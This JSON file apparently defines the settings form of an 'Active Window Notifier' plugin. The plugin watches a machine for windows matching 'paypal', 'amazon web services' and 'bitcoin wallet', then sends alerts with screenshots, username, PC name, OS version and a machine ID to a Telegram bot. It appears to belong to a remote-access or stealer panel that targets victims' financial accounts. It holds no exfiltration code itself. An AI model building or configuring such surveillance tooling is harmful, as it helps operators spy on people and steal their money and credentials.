{"tokenField":{"type":"textfield","anchors":{"right":5,"left":5},"events":[],"text":"","w":200,"h":32,"x":6,"y":185,"prompt":"Bot Token"},"chatidField":{"type":"textfield","anchors":{"left":5,"right":5},"events":[],"text":"","w":200,"h":32,"x":6,"y":220,"prompt":"Your Chat ID"},"s":{"type":"separator","anchors":{"left":1,"right":1},"events":[],"orientation":"HORIZONTAL","w":100,"h":10,"x":2,"y":255},"screenshot":{"type":"checkbox","anchors":{"left":5},"events":[],"text":"Send screenshot","w":145,"h":25,"x":6,"y":265},"msgf":{"type":"text","anchors":{"left":5,"right":5},"events":[],"text":"Message format:","w":150,"h":20,"x":6,"y":290},"message":{"type":"textarea","anchors":{"left":5,"right":5},"events":[],"text":"🔔 Window detected! 🔔\n• ID: {ID}\n\n• Active Window: {WINDOW}\n\n• Detected: {FOUND}","w":200,"h":150,"x":6,"y":310},"Info21":{"type":"text","anchors":{"right":5,"left":5},"events":[],"text":"Format variables: \n{WINDOW}, {FOUND}, {TAG}, {USERNAME}, {PCNAME}, {WINVER}, {PATH}, {ID}","w":250,"x":6,"y":465,"css":"-fx-font-weight: bold","h":40},"applyBtn":{"type":"button","anchors":{"right":5},"events":{"OnClick":[{"~":"SetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"messagetext","value":"@message"},{"~":"SetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"detectlist","value":"@detectlist"},{"~":"SetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"token","value":"@tokenField"},{"~":"SetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"chat_id","value":"@chatidField"},{"~":"GetValue","object":"screenshot","name":"selected","return":[{"~":"SetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"screenshot","value":"$return"}]},{"~":"Message","text":"Saved and applied!"}]},"text":"Apply","w":80,"h":32,"x":542,"y":510},"load":{"type":"method","nonvisual":true,"events":{"OnExecute":[{"~":"GetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"messagetext","return":[{"~":"IfEquals","first":"$return","second":0,"return":{"Equals":[],"NotEquals":[{"~":"SetValue","object":"message","name":"text","value":"$return"}]}}]},{"~":"GetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"detectlist","return":[{"~":"IfEquals","first":"$return","second":0,"return":{"Equals":[],"NotEquals":[{"~":"SetValue","object":"detectlist","name":"text","value":"$return"}]}}]},{"~":"GetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"token","return":[{"~":"SetValue","object":"tokenField","name":"text","value":"$return"}]},{"~":"GetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"chat_id","return":[{"~":"SetValue","object":"chatidField","name":"text","value":"$return"}]},{"~":"GetConfigData","configname":"ActiveWindowNotifierConfig","dataname":"screenshot","return":[{"~":"SetValue","object":"screenshot","name":"selected","value":"$return"}]}]},"x":635,"y":5,"autostart":true},"detectlist":{"type":"textarea","anchors":{"left":5,"right":5},"events":[],"text":"paypal\namazon web services\nbitcoin wallet","w":200,"h":150,"x":6,"y":25},"msgf1":{"type":"text","anchors":{"left":5,"right":5},"events":[],"text":"Window detection list:","w":150,"h":20,"x":6,"y":5},"s1":{"type":"separator","anchors":{"left":1,"right":1},"events":[],"orientation":"HORIZONTAL","w":100,"h":10,"x":2,"y":175}}